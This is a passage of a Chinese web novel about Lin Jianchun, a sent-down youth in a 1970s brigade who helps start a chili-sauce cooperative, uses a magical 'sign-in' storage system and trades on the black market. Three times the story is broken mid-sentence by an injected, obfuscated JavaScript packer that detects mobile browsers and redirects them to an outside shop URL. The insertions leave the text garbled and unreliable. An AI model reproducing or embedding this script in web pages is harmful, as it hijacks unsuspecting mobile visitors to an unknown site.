别说牛队长,就是林见春看他们也跟看傻子似的。 开玩笑! 关乎挣钱的副业,就是本大队的农民也争得厉害,谁会给他们这些本来就不算缺钱的知青投票? 牛队长懒得搭理他们,三言两语把事情定下,话题一转,又开始讨论合作社办在什么地方。 剁辣椒、放坛子都需要地方,地方小了施展不开,后续要是扩大生产就更难。 在场的社员面面相觑。 自家房子都不够自家住的,哪儿还有空屋让合作社占着? 最后还是吴村长站了出来。 “干脆整块地搭一个院子,正好这段时间也没啥活,参与建房的都给正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林见春倒是清闲,天气一冷她就更懒得出屋了,一天几天都窝在屋里看书,小宝有样学样,也窝在屋里反复翻看林见春抄写的《本草经》,愣是给那几页翻到起毛。 林见春见他对书本实在感兴趣,干脆就挑着简单的字教了教,又给了他一个本子一支铅笔,从简单的写起,没想到几天下来他就记住了从一到十的汉字和他自己的名字。 “难道你是天才?” 自家就有一个货真价实的天才,林见春怀疑小宝也是。 如果真是天才,那她来教小宝反倒成拖累了,或许可以跟婶子说一说,找机会把人带去牛棚那边跟他们学,好歹有两个正儿八经带过学生的。 没等林见春落实计划,合作社的第一批剁椒酱开坛了! 腌的时间不同,酱的味道也有一定的区别,不过只要不是闲放太长时间,那就是越放越香的东西。 牛队长心里忐忑,但东西都准备好了,不拿出去销才是白瞎。 自习了半个月,林见春也想去公社晃悠一圈了。 这个月大哥大嫂除了20元补贴,还给了30斤粮票、2斤糖票、1斤肉票。 家里没给寄东西,不过三哥回了一封信,说12月月底会过来看她,顺便找牛队长聊聊剁椒酱的事情。 这都21号了,也不知道三哥具体哪天过来,今天去公社,正好找一下方哥,看看能不能弄点儿新鲜羊肉,到时候让三哥带回去。 说起羊肉,林见春倒是想起了大队养的猪和牛棚那边圈起来的羊,扭头去看斜前方坐在板车上护着酱罐子的牛队长。 “队长,咱们大队养的猪和羊什么时候杀呀?能不能给留点儿?” 牛队长没空搭理她,眼也不斜地“呸”她,“想啥好事呢?那都是要交到公社的,想买自己上供销社排队去!” “……” 算了,还是找方哥吧。 有公社的批条,东旺大队这400斤剁椒酱直接送到了副食品站。 查验过批条上的公章,副食品站的采购科长也认下了这批剁椒酱,但满脸不耐烦,抻着手指直点批条上写的规格找茬。 “到底是要按坛卖还是散卖?按坛卖你们也把坛子准备好啊,这20个大坛子装的2斤还是多少?” “……” 为了副业开展顺利,为了大队集体的收入,牛队长忍下了这口气。 “实在来不及采购盛具了。我们按散卖的价来算,1个坛子是20斤,这里总共400斤,劳你费心了。” “行吧!400斤散卖剁椒酱,单价1.8元,合计720元,我给你开条子,你去后面找财务核算。” “多谢,多谢。” 牛队长老实巴交的,伸手就要接条子。 林见春看得嗦牙,赶紧过去给这位采购科长塞了一大把糖,这才让人满意的松了手。 她给的糖是出门前从这段时间基本没动过的饼干盒子里抓的,奶糖和硬糖都有,牛队长光看着都觉得心疼,可惜他也明白,走哪儿都要看人情,他这几天光顾着忧心,还真没小姑娘考虑得周全。 拿了条子,财务那边也没多为难,林见春把特意留下的几颗糖塞了过去,人当场就乐呵呵地把钱点出来交给了牛队长。 720元可算是巨款! 牛队长揣着钱也顾不上想别的了,出了门就拉上良大爷去信用社存钱。 林见春还打算去找方哥,连声叫住他,可牛队长哪儿顾得上仔细听,反正也不是第一次进城的,总归是走不丢的。 没了旁人,林见春就全然不用遮掩了,扭头就问副食品站还有没有肉。 采购科长还没来得及走,捏了一把兜里的糖纸,笑呵呵地问她想要多少。 林见春就1斤的肉票,所以面露无辜,直说:“想要羊肉,但我只有1斤的肉票。” 采购科长:“……我留了5斤羊肉打算带回去送人,你要是急,我这5斤可以转让给你,那票你留着,5斤给我6块5就成。” 肉票对于干采购的人来说那是完全不缺的,尤其他又是副食品站的采购科长,那还不是想买多少都有。 林见春是真觉得惊喜,当场摸了钱出来交过去。 “等着,我给你提出来。” 5斤羊肉到手还省下了1斤肉票,林见春根本掩不住笑,蹬着自行车直接去了粮站。 年底了,粮站坐窗口的还是黄二姐一个,见林见春来了,她还觉得惊喜,连连招手把人叫进去。 “这次过来要买多少粮食啊?” “这次不买粮了。” 一般人年底买粮都会多买,这姑娘倒是不一样,这次直接不买了! 黄二姐看林见春也不像挨了饿的样子,多嘴问了一句,“是不是没粮票了?不然我帮你换点?” 林见春笑呵呵地摇了摇头,“不是,之前买的米还没吃完,是手头没多少现钱了,一会儿还想去买点糖。” “哦……” 没票好办,没钱那确实也是没办法了。 林见春只当不晓得黄二姐在可怜她,拿出省下的肉票,托黄二姐帮忙。 “姐,麻烦你帮我问问相熟的人,我想拿1斤肉票换糖票,看看有愿意的不。” 糖票和肉票都金贵,但要换肯定是有人愿意的。 果然,黄二姐听完之后也没多想,直接说她有糖票。 “正好,我正想要肉票呢,年底想多熏点腊肠,我用1斤的糖票跟你换,你看可以不?” 这换法她只赚不亏。 “行,谢谢姐。” 供销社的红糖9毛一斤,比猪肉还卖得贵,但猪肉是大家抢着买也不一定能买到的,红糖却有现货。 3斤糖票林见春打算全部买成红糖,那30斤粮票也全部用来买油。 没有油票的情况下,食用油也是可以用粮票来抵的,5斤粮票抵1斤油票,她手里的粮票刚好够买6斤。 至于盐就不需要票了,但最近盐价涨了,1斤得2毛钱,林见春干脆买了5斤。 从供销社出来,林见春才一路问着钻进了八旗街。 牛虻子应该也是一个“名人”,没多打听就有人给她指了路,等人开了门,她才发现牛虻子实际只是一个8、9岁大的孩子。 这孩子头发剃得斑斑赖赖,脸脏兮兮的,衣服倒是干净,林见春摸了几颗糖给她,说了要找方哥,她还神情紧张地打量了她一会儿才有动作。 “你在这儿等着。” 八旗街离“小黑街”也不远,没多会儿林见春就听到了方哥的声音。 “妹子你可算来了!” 方哥简直热情得不行,林见春也乐呵呵的,开口却是一盆冷水泼过去。 “我这次来就为了买点肉,其他的没准备。” “嗐!哥盼着你来又不是图你拿来好东西,这次要多少肉啊?年底了,杀猪的多,你想要多少都有!” “那还是整点猪板油吧,肉的话这次想要羊肉。” “羊肉也有啊,还是2元一斤,要多少?” 林见春算了算账。 猪板油和羊肉一个价,但她手里的现钱只剩12块9了,加起来也只够买6斤多…… 算了,还是留点零钱在身上,万一真要用时别一毛钱拿不出来才尴尬。 “钱不够了,就要5斤羊肉吧,猪板油先不要了。” 说完,林见春才想起今天慌慌张张的还没来得及“签到”。 这一个月她都在徐三婶家糊弄,2天获取小麦面粉4斤、5天获取鸡蛋5个、6天获取大米18斤,剩下17天全是粗粮,一共34斤。 这运气差到她怀疑“签到”系统出了问题,所以有时候要到晚上查看“背包”才会注意到方屏上还有当天的“签到”机会,今天也是一样,要不是突然发现现钱没多少了,她还真又给忘了。 只是牛虻子的家也不知道有没有好东西…… 林见春假借挠额头的动作试了试“签到”,没想到下一秒一台崭新的缝纫机就进了包。 老天爷! 她还是第一次直接获取这么大件儿的东西! “……方哥,全新的缝纫机要吗?” “……?” “上次卖你哥的彩礼,这次直接卖你自己的嫁妆?” 22. 400斤 缝纫机太重,凭林见春自己是没办法搬动的。 面对方哥和牛虻子震惊的表情,林见春只能尴尬一笑,“帮人卖的,如果方哥想要,我改天让人送到八旗街街口再通知方哥。” 方哥来者不拒,当即点头说行。 “熊猫牌110,凤凰牌120。” 林见春“签到”的这一台是熊猫牌的,供销社卖85块一台,这个价格确实算得不错了。 “好,那我改天再联系方哥。” 从八旗街出来,林见春身上就只剩2块9的现钱了,没钱再到处闲看,只能戴好手套、围巾蒙脸蹬着自行车朝大队赶。 今天送去公社的400斤剁椒酱顺利交付给所有人都打了一剂强心针,尤其720元的收益,均摊到46户也有十好几块了。 当然,这笔钱最后还是加入公账年底一起合算公分再发的,但一次720,十次就是7200! 他们东旺大队一共183人,除开孩子,能挣工分的也有115人,平均一个人一年能有1600工分,往年这工分1分只能能分到1毛钱,大队拿不出钱就用粮食抵,最后一个人能到手50块钱就算好的。 要是每个月都能挣回来720块,一年就是8640元,均摊到工分,他们大队的劳力一年也能多个七十几块的收入! 这可以能直接分的现钱! 而且这还只是剁椒酱的收入!他们大队还可以做豆瓣酱!到时候又是一人几十块!分下来家家都能攒上百的现钱! 东旺会算账的社员不少,心中有账本,脸上的表情自然藏不住,其他不会算账的也高兴,因为不管多少,这些钱都是有他们一分的,那可是实实在在的收入! 见他们这样,牛队长直接站出来泼冷水。 “这些钱得年底核算,交20%到公社去,具体能分多少也得等副食品站那边这一批卖得怎么样才晓得。” 那咋呢?少掉20%那也还有五六十块,不比他们整年在地里忙活挣得多? 都是现钱! “行,这个月也没几天了,等这一批酱的行情出来了再定下个月要做多少。” 出主力的婶子阿婆却不干了。 她们可是10天挣来了720,这白白浪费7天时间已经够着急了,怎么月底还剩几天也不给干呢? “大队长!不是还要弄豆瓣吗?” “就是!咱们做的酱什么口味大家可是清楚的,要我说就是省城的人也乐意花钱买!” “队长也太小心了!几百斤的事儿,做出来没人要咱自己也吃得完。” “……” 别说,400斤分摊到各家也才8、9块钱的事,大不了年底工分核算,分的粮少点,给一家添点儿卖不掉的酱就成。 不过这几天公社卖货的情况还是得注意,最好双管齐下。 “那还是按一天40斤的量做着,30斤辣椒、10斤油,豆瓣儿也跟着弄,先把霉豆子腌上,就按一批400斤的规格来,具体需要多少油盐糖酒,徐三姐列个单子,明天再去公社拉。” 豆瓣酱虽然多了一样胡豆的消耗,但相应的辣椒用不了那么多,算下来成本大差不差。 “辣椒和胡豆、姜蒜不够了就去其他大队收。” 有公社的批条,完全可以接合作社的名义跟其他大队打交道,这也算是给其他大队创收,只要那些大队的队长和村长脑子没泡,那指定不能拒绝。 事情定下,婶子阿婆们就继续发展副业了。 之后几天,大队有不少闲下来的人往公社跑,早上去、晚上回,带回来的无疑都是好消息。 400斤剁椒酱只算小量副食品,副食品站不会费劲巴拉往外地运,所以这400斤全都供给了国营饭店和供销社。 国营饭店大部分社员是舍不得去的,所以大家去公社都是在供销社蹲着。 供销社卖酱是用小陶罐装,一坛卖4块,带一个薄壁罐子才有2斤重,关键买的人还不少! 也有自己带罐子来打散装酱的,1斤算2块,比直接买罐装的划算。 牛队长可是说过副食品站给的收购价的,一斤才1块8,也就是说,副食品站转一手就能赚到好几十! 在公社看了行情,回到大队自然好一通宣传。 这些都跟林见春没多大关系了,她只知道自己给大队想到了挣钱的办法,所以请起假来也是毫无心理负担了。 冬天就适合猫冬。 徐三婶每天下午都得忙合作社的工作,小宝就得想办法安排了。 林见春抽了个晚上跟徐三婶提了下找人教小宝的事,徐三婶倒是没什么意见,只是她忙来忙去,也没空给小宝备拜师礼。 “不然等我把这几天忙完,拜师礼得去供销社买。” 早几年拜师是送米面糖肉,徐三婶打算就按这个规格来备10斤米、5斤面、2斤糖和1斤肉。 “不用这么麻烦!我这儿有饼干和奶糖,大哥大嫂寄过来的果干也还剩1斤,之前买的米面也没吃完存在屋里,婶子直接带过去就行,肉就不带了,牛棚那边吃肉有些打眼。” 大队的人日子过得不算太差,但肉一年到头也吃不了几回,牛棚那边的人挣了工分也只能换粮,根本没收入,叫人发觉有肉吃就不好了。 徐三婶怎么好意思。 “家里都是粗粮,米面大多是你的补贴粮和你去外头买回来的,我和小宝平时吃着已经占大便宜了,怎么好再从你那儿拿东西给小宝拜师去。” 林见春呲着牙笑,“小宝叫我一声姨,我也把他当亲侄子,这点东西还真不值当什么!” 她又不能说那些东西大多是白得的,也就果干是大哥大嫂真金白眼买了寄过来的。 不容徐三婶再推,林见春直接回屋里整理出来了一堆东西。 10斤大米,20斤粗粮,20颗奶糖、30颗硬糖混装的糖袋子,2支笔,2个本子,2块肥皂,再就是最后的1盒饼干和1斤果干。 这些东西也就粮食有些打眼,其他东西往背篓里一放基本看不出来,除非有那不长眼的非得扒着背篓翻。 “……” 徐三婶难以言语,抓着衣角直抠。 可看了看小宝懵懂的眼神,再看林见春摆到她面前、小宝写着字的本子,徐三婶还是叹着气把装了东西的背篓接过了手。 但白收也不好,徐三婶直接把之前林见春给她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061585|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那10块钱还给了她。 “再说是侄子也没白出力的。” 林见春没推,直接收了。 大不了过年再以压缩钱的形式给回去。 林见春是准备找凤于飞和杨谯两位来教小宝的,但小宝记忆力好,现在已经记住了大半本《本草经》,连常见药植的功效也能背一部分,光学简单的语文、数学好像有点埋没了。 徐三婶倒是没什么别的想法,在她看来本事都是慢慢学的,小宝会背书不代表以后就会照着书救人,什么药对什么症,里头多的是学问,小宝现在还小,先学字,以后不管学不学医都有用。 两人一路讨论到牛棚外,等进了牛棚,才把选择摆在小宝面前。 当然,现在的小宝不明白,都是学习,两者之间又有什么区别,凭着直觉,他背了一段《本草经》的内容,然后双眼亮晶晶的等着大人决定。 “看来小宝是想跟着陶医生学医呀。” “这么小的孩子就知道自己喜欢什么了,看着天赋也不错,小陶就给带着吧,平时我们空了也能教语文、算术,三门一起学。” “是啊,咱们五个都是读了书的,带一个孩子而已,怎么也能教成才。” 几个老人心态好,陶文斌却考虑得更长远。 “小宝心性未定,我在中医这方面也不精通,只能先教着,等将来有机会了再看他学中医还是西医,如果要学中医,再想办法给他找个中医方面的老师。” 徐三婶当然没有意见。 “谢谢!谢谢!这都是小宝的造化!” 送一份拜师礼却收获了5个老师,饶是徐三婶也激动得眼眶发红,搓了搓才没让眼泪掉下来。 林见春乐见其成。 现在整个大队都忙着搞副业,本就不会轻易为难下放份子的社员更没精力来牛棚找麻烦,说不定到时候GWH的人下来检查,他们还不耐心应付呢! 她这几个月可是跟牛棚这边的人建立了良好关系的。 到时候徐三婶去合作社上工,她就把小宝送过来给他师傅陶文斌看着,自己安心窝在屋里学自己的,简直两全其美! 拜师的事儿就这么成了。 徐三婶带着小宝先回了家,林见春落后了些,问起了牛棚这段时间的收获。 “我这个把月没上山,也没往你们这儿来,不知道你们有没有攒下东西?要不要帮你们带出去换成粮?” 陶兴“摘帽子”之后,牛棚这边的压力小了很多,陶文斌不用照顾老师,平时上山的时间也多了,所以一个月攒下的东西比之前都多。 “现在蒲公英才2斤,积雪草有3斤,还有点土大黄,折耳根和野菊花也弄了点,这两样不好卖,自己吃还不错,明天我整理出来,你晚上过来拿。” 野菊花可以泡水,折耳根却可以当菜吃。 林见春摆了摆手,“我不要,你们留着吧。” 大冬天的泡野菊花不合适,折耳根她也不喜欢,而且这东西不经折腾,也没法寄回去给爸和三哥吃。 陶文斌有些失望,不过也没逼着林见春接受。 “好,我们再攒攒,过年前再麻烦你帮忙跑一趟。” “行。” 23. 扩大生产 29日,林建业总算大包小包的赶到了东旺大队。 这会儿冬月都过了大半了,天沉得跟要下雪似的,林建业走一步哈一口气,一看就冷得不行了。 还好他来的时候是中午,灶上正烧着东西,徐三婶让他坐到灶头边上烤着,赶紧给他打了碗糖水蛋让林见春端给他吃,没多会儿就缓了过来。 林见春心疼得很,幸好灶里的柴燃得正旺,烤一会儿衣服就暖了。 “三哥,你是搭车过来的吗?” “嗯。” 身上暖和了,林建业就没那怂样了,三两口把糖水喝干净,自个儿起来找水把碗洗了。 “来的时候在公社碰到你们大队的人了,人好心载了我一路。” 这几天大家朝公社去看行情的热情度丝毫未减,只是相较之前没那么拗了,基本早上去看一眼就回了,不会饿着肚子在公社蹲着浪费时间。 自家三哥向来是个“社交能手”,一个地方去一次就能认识许多“熟人”,所以林见春真不意外他能搭上便车。 衣服烘热了,林建业就起身远离了灶台,从带来的包袱里掏了掏,摸出一叠本子和几支铅笔放到桌上。 “这是爸妈给小宝的,不值几个钱,让他好好学,以后有机会去县城读书。” 林见春写信提过小宝的事,家里会准备本子和笔毫不意外。 徐三婶却脸颊发热,想推辞又舍不得,嗫嚅半天也没说出一句拒绝的话来,只能埋着脑袋往锅里加菜。 剩下的东西就是给林见春的了。 林见春也有东西要给家里,见他背起包袱,就赶紧拉开门带着他去了自己屋。 包袱里有不少东西。 妈给她做了一件新的棉袄。 爸给她弄了10张糖票、一大袋汤圆。 三哥准备的就更多了,1支钢笔、1瓶墨水、10个本子、1套精选丛书,还有50块钱。 东西林见春都愿意收,但钱她不想要,挑出来往回塞,林建业却转身一避,躲开了。 林见春急得跺脚。 “三哥!我下乡之后攒了不少钱了,你工资低,就别给我钱了。” 林建业挑了挑眉,没问她怎么攒的钱。 “我能亏着我自个儿?这钱你放心拿着,现在龙塘风声紧得很,明年我不打算干了,你平时也少往黑市去,那些''小黑街''现在看着没什么,明年指不定会出事。” 林见春愣了一下,想到方哥也说过这回事。 “到底怎么了?怎么又开始严打了?” “就这个月,龙塘有一个摘了帽儿回城的老师又被判了,这次下放的地方更偏远,也不知道什么时候才有机会再回来。” “……” 林见春错愕得半晌没有话语。 平反了还会被重判,那老陶大夫呢?会不会也是这种情况? 林建业抬手摸了摸她的脑袋,“好了,不想那么多,年前应该是问题不大的,但是开年之后最好还是别去了,就是到时候不太好弄票和东西,没法再给你补贴,得亏着些了。” 林见春摇头,“我不怕这个,既然形势不好,三哥你也别去大街小巷的钻了,废品站也挺好,爸妈也还供得起。” 林建业气得发笑,“行了,还操心我呢?大哥大嫂那边给你的补贴用不完也别拿出去买东西往家寄,先顾着自己,我最近在跟龙塘收购站的科长拉关系,如果成了,到时候那边会给我一个运输队司机的名额。” 收购站跟废品站的区别就在于一个出去收,一个等人拉。 各地废品多如鸡毛,不管什么东西收购站都能收,但这东西收来也不好全堆站里,所以开设运输队,分了类别往其他地方运,能用的就二次利用,不能的就集中销毁。 自然,那些跑远地的司机同车夹带一些东西也不易被察觉,甚至在途中就能消耗完,车一跑,那想查没地儿可查。 废品站的老师傅已经把他当自家孩子似的了,那科长也是他给牵的线,为的就是让他换条出路,免得明年动作太大不安全。 这话林建华没跟林见春细说。 林见春也没多想,点了点头,“那样也好,免得爸妈和大哥一直忧着你,等去了运输队,三哥也差不多该结婚了吧?到时候提前跟我说一下,我也回去凑热闹。” “……瞎说啥,你哥我连个对象都没有结啥结!” 林见春“嘿嘿”笑。 大哥大嫂是领导牵的线,二哥远爸妈急也没用,她又还小,家里可不就盯着三哥着急了? 之前没人给三哥介绍纯是因为他风评不好,等来年他真去了运输队,指不定街道那些大爷大妈热络成什么样呢! 抛开结婚的问题不讲,林见春当着林建业的面儿把羊肉从“背包”取了出来。 这肉也在包里放了一段时间了,可取出来还带着血色,一点儿也看不出来陈。 林建业惊得眼睛都瞪大了,硬是围着林见春转了两圈才停下来。 “好家伙!妹啊,我只知道你肯定有奇遇,倒没想到你这奇遇是真厉害!这就是空间吧?!还是可以降低时间流速的空间!牛大发了!” 林见春听不懂,不过想想也不难理解。 她这“背包”可以存放物品,内里就是一个空旷的仓库,说是“空间”也正常。 而且物理学中就有“空间”的说法,只是其意玄妙,一个环境可以称作空间,一个没有具体存量的范围也能称之为空间,说“背包”是空间,那也没错。 “降低时间流速”也不难理解。 正常情况下物品放置在外超过一定时限就会变质、损坏,但“背包”这个空间内,短期内还没出现过变质的情况,而且最初的“新手指引”说明过这个空间可以永久存放物品,说明这个时限并不短。 不过“新手指引”也提到过空间只能放置活物10天。 通常里说活物需要消耗氧气并排出二氧化碳,等氧气消耗完、二氧化碳浓度升高,活物活性就会加快降低,直至彻底失去生命特征。 这个时间不好判断,但想想一个人在这样一个密闭空间内待上24小时都有些困难,更别提10天了。 也就是说,这个空间存在限制,能够延缓显像,但并非长久,那三哥所说的“降低时间流速”就很好理解了。 林见春点头,算是应下了林建业的猜测,没说自己最大的奇遇是“签到”。 林建业咋舌。 “这么看来你去干运输队的活儿更合适,中途夹带点儿什么都不怕被发现,也不怕被劫道。” 这话林见春就不同意了。 “我一个姑娘家家的,真要遇上劫道的,人能因为我车上没东西就不对我动手吗?” 车上没东西,那油箱里还有油呢,再万一遇上那种不怕死的耍流氓,她是能干得过对方还是怎么着? 林建业也“嘿嘿”笑,他就是开个玩笑。 “行了,东西我带回去。不过这得十来斤了吧?之前你往家里寄了那么多腊肉排骨,家里送了人情还剩了好些,这羊肉你还是留点儿自己吃。” “没事,我过年前还要帮牛棚的人送点草药去公社换粮,到时候让熟人帮我弄点肉。而且过年前大队还要杀猪分肉,我厚着脸皮一家换点儿,人家指定也愿意。” 在乡下,糖比肉有用,到时候她拿糖去换肉,肯定有很多愿意的。 林建业没再推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065391|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿纸把肉一裹就塞回了包袱。 “走,去找大队长,我问问剁椒酱的事儿。” 这才几天时间,合作社的院子还没建好,家里又一堆婶子阿婆忙活着,所以大队长就在建了一半的院子里帮忙。 林见春带着自家三哥过去的时候好些大叔大爷都干出了汗水,几个帮忙的知青也是热得衣领大开,林见春也不好过去,就拉着三哥在院子外头站着喊人。 听到声儿,不少人都往外看。 林建业也看到了李春景,表情骤然一变,但很快又恢复如常,大队长出来,他还笑呵呵地喊了声“叔”。 牛队长挺喜欢林建业的,“建业来看妹子了?” “嗐!家里给做了新衣服,见春今年回不去,就叫我给送过来了,顺便给她弄点汤圆,别过年了啥也没得吃。” 牛队长点头。 这老林家一家子是真疼这个姑娘。 不过这姑娘虽然人懒了点儿,活也不会干,但脑子活泛,整体来说人不坏,不讨嫌的时候确实招人喜欢。 没多客套,林建业就直接问起了合作社的事。 “听我妹说,咱们大队弄了个生产合作社,主要做些剁椒酱、豆瓣酱的,今天从公社过来,我看供销社还卖得挺好?” 说起这事儿牛队长也高兴,笑呵呵点了点头,“确实不错,这事儿还多亏林知青出主意。” “也是叔愿意听她说。上回徐三婶给家里寄的酱我们一家子都喜欢,街道那些喜欢凑热闹的还跟我爸妈打听这酱哪儿买的,他们也想买。” 牛队长只笑,不接茬。 林建业只好直说。 “不知道叔有没有想过扩大生产?听我妹说现在大队就10个人在忙这事儿,产量估计就只够供给公社,我们龙塘那边还没正经酱厂,如果你们这边愿意扩大规模,到时候我爸妈牵个线,直接跟百货大楼签个合同,他们会自己安排车队过来运货。” 林正和冯雪华毕竟是老革命,不管退伍前还是退伍后自身都没有犯过错误,只是牵个线,县城那些人也是愿意卖个人情的。 而且酱本身很好,龙塘那边也是稀缺,真促成合作就是双赢,那些人只要脑子没泡儿就不会推拒。 这下牛队长也考虑了起来。 大队人多,不能干体力活儿的也多,如果真扩大生产,到时候就可以多安排一些老弱妇孺参与,一来可以帮她们解决家庭困难的问题,二也能为大队增收。 可问题是…… “我们大队每年就那些辣椒收成,光供给公社就得从其他大队收辣椒了,又哪来的能力供给你们龙塘整个县城?” “嗐!这算什么问题?扩大生产那也是给公社创收,到时候叔你就去公社找干部帮大队解决原材不够的问题,一次不行就找两次,两次不行你就在公社门口过夜,总不能钱都送上门了,那些干部还干看着不乐意收吧?” “正好这几天我回去也没事做,就先不走了,明天我跟叔走一趟,陪你一起住公社去堵人!” “……” 这俩兄妹还真是一脉相承。 林见春赶紧把林建业拉住。 “哥,你先别急,回头你去百货大楼问问他们大概能要多少量,有个准信儿大队才好准备呀!” 林建业托着下巴想了想,点头应了。 “那成,回去我就问问,到时候给你拍个电报。” 龙塘和南兴信件往来3天起步,送到大队还需要一天,不如直接拍个电报发到公社,一两个小时就有人能送过来。 “好好好,那你今天住一晚就走吧,赶紧回去问。” “……”你们兄妹俩干脆直接来干这个大队长的活儿算了。 24. 羊蝎子 虽然没能如愿留在大队给牛队长帮忙,林建业却也留下了两个能为大队增收的主意。 一是酱的品类。 目前大队生产的是剁椒酱和豆瓣酱,里头用到的辣椒都是挂熟的红椒,所以用材受限,产量容易被拉低。 这种情况下,大队的生产合作社完全可以把青椒也纳入原材,直接做成双椒酱,而辣椒又不止青椒和红椒,还有朝天椒和灯笼椒,这两种可以调节辣度和甜度。 再就是可以把剁椒和肉结合,也不需要加太多肉,一斤有个二两就成,剁成肉沫炒干了混进去,有点肉渣就是另一个味道,那价格也能相应提高。 不往多了说,剁椒酱和豆瓣酱卖给公社的副食品站1块8一斤,加了肉的酱就直接涨个5毛钱,反正肉也才7、8毛一斤,他们大队自己还养了猪,成本一拉,更低。 还有黄豆酱,做法跟豆瓣酱差不多,但大队种植黄豆比胡豆多,也算是一种开源的法子了。 二就是招牌。 目前大队生产的酱是在公社卖,如果往外地销售,那就得有自家的招牌。 这种招牌可不是临时用的,所以最好是找公社一起承担,一来可以让公社去联系玻璃厂制作带标签的盛具,二来也是直接把公社拉进利益方,让公社干部出力。 如果做成了,实际利益归属东旺大队,公社干部则可以通过名望得到县里干部的赏识,而且20%的利润可不小,到时候那些人名利双收,只会比他们大队的人更盼着东西卖到更远的地方去。 当然,如果这件事儿真的做成了,到时候就不是一个生产合作社能担下来的了,估计得跟东湖大队一样直接开厂,唯一不确定的就是厂的选址。 林建业给的建议,牛队长全都往心里去了。 增加品类肯定还是得等之后看看公社的销量,但如果真的能卖到外地去,甚至做到需要办厂子的程度,那时候厂子里头说得上话的可就不一定是谁了。 不过这些事儿也是可以争取的,大不了提两个知青出来顶岗,大队的社员就安心在生产线上卖力,只要能多塞一点人进厂做工人,那厂开在哪儿也都无所谓了。 心里有了计较,牛队长就找上徐三婶做新口味。 黄豆酱和豆瓣酱都要酵存1-2个月才能开坛,徐三婶只能先做双椒酱和肉酱,这肉牛队长自己出了。 徐三婶一听要做黄豆酱也提了个意见。 “我们这边吃黄豆酱的不多,不如直接剁成霉豆子,或者干豆豉,不然都是豆酱,人家肯定只买常吃的豆瓣酱。” 牛队长想了下,答应了。 “行,豆豉直接蒸了下饭可以,也能做配菜、调料,酱还是做豆瓣酱。” “成。” 徐三婶也是第一次做双椒酱和肉酱,花了几天调口味,等自己觉得满意了,才集中做了两小坛酵上。 有东西才好找公社干部掰扯,这几天,合作社的婶子阿婆就还依着之前的安排来。 17天能出400斤剁椒酱,等到75年1月9日,牛队长叫上良大爷,拉着20坛酱往公社去了。 林见春想凑热闹,戴着手套围巾骑上自行车一路跟着,后头发现她老超过牛车,干脆下来扶着车跟着走了。 “队长,如果真办厂,选址打算定在哪儿?” 合作社只是一间院子,现在主体修好了,只差糊墙盖瓦。 但旁边还有不少空地,就是有些地方种了点儿“野菜”,大不了把“野菜”拔了,把院子再往外扩宽。 牛队长懒得搭话。 前几天林建业给了回信,说是龙塘县百货大楼愿意收购3000斤豆瓣酱、2000斤剁椒酱、1000斤双椒酱和500斤肉酱,只要明年4月能出货就成,他们会安排车队过来接货。 这个量太大了,不是他一个大队长就能决定的,所以还真得跟公社开那个口,不然原材不够是一回事,场地也是个大问题。 “哎,牛队长,我瞅着还在建的院子就合适,不然你跟队上的社员们说一说,把旁边的地也腾出来建房子呗!” 牛队长嫌她烦。 “地地地!那地又不是个人的,都是集体的!” “嗐呀!集体的不是更好办吗?你直接跟公社申请,到时候把围好的院子拆了,已经修好的屋子做厂领导办公室,再往外扩建也比着仓库来修,一间供工人干活,一间存原材,一间放做好的酱坛子,那厂不就直接办起来了吗?” “说得轻巧,公社也能办厂,凭啥往大队建?!” “就凭……” 牛队长就怕她“就凭”一长串。 “停停停!跟你哥一样烦!” “嗐!行吧!” 林见春笑眯眯,一点儿没恼。 “那咱们就不提办厂的事儿,现在龙塘那边可是已经下了订单了,要多少货大队长你可是知道的,说实话,光咱们大队的合作社也能干下这活儿,大不了就是多纳入一些婶子阿婆的问题。” “但是嘛,咱们原材不够,罐子也没有,正所谓有困难找干部,就让干部给咱们解决问题,反正我们有场地有人,就让他们给咱们想法弄原材和盛具,玻璃厂可是在县城里头,到时候也叫公社干部给你拉关系,就是不知道那玻璃罐罐儿上头只挂咱们合作社的名头,他们答不答应。” “……” 牛队长想说公社干部又不是老黄牛,凭什么啥都白给他们帮忙,可照着这兄妹俩的行事作风,指定又是不答应就住公社门口的说辞。 唉! 他要是公社干部,他也头大! “一会儿你别跟我去,我自个儿找干部说事儿去。” 林见春“嘻嘻”笑。 她还不想去呢,爸妈都在街道工作,她可太知道那些干部都是怎么打官腔的了! 正好上次跟方哥提过一嘴缝纫机的事儿,今天过去就换给他。 不过她对牛虻子家是真挺好奇的,今天也留了“签到”机会,等会儿先去她家外头晃一圈,看看还能弄到什么好东西。 到了公社,林见春直接转了个道儿,绕着圈去了八旗街找牛虻子,贴着牛虻子家门头“签到”。 猪! 一头刚杀的猪! 林见春猛地往后一退,再看牛虻子家眼睛就瞪得跟见了鬼似的。 看来这牛虻子家就是方哥的“秘密基地”啊! 林见春深吸了一口气,好半天才平缓下情绪。 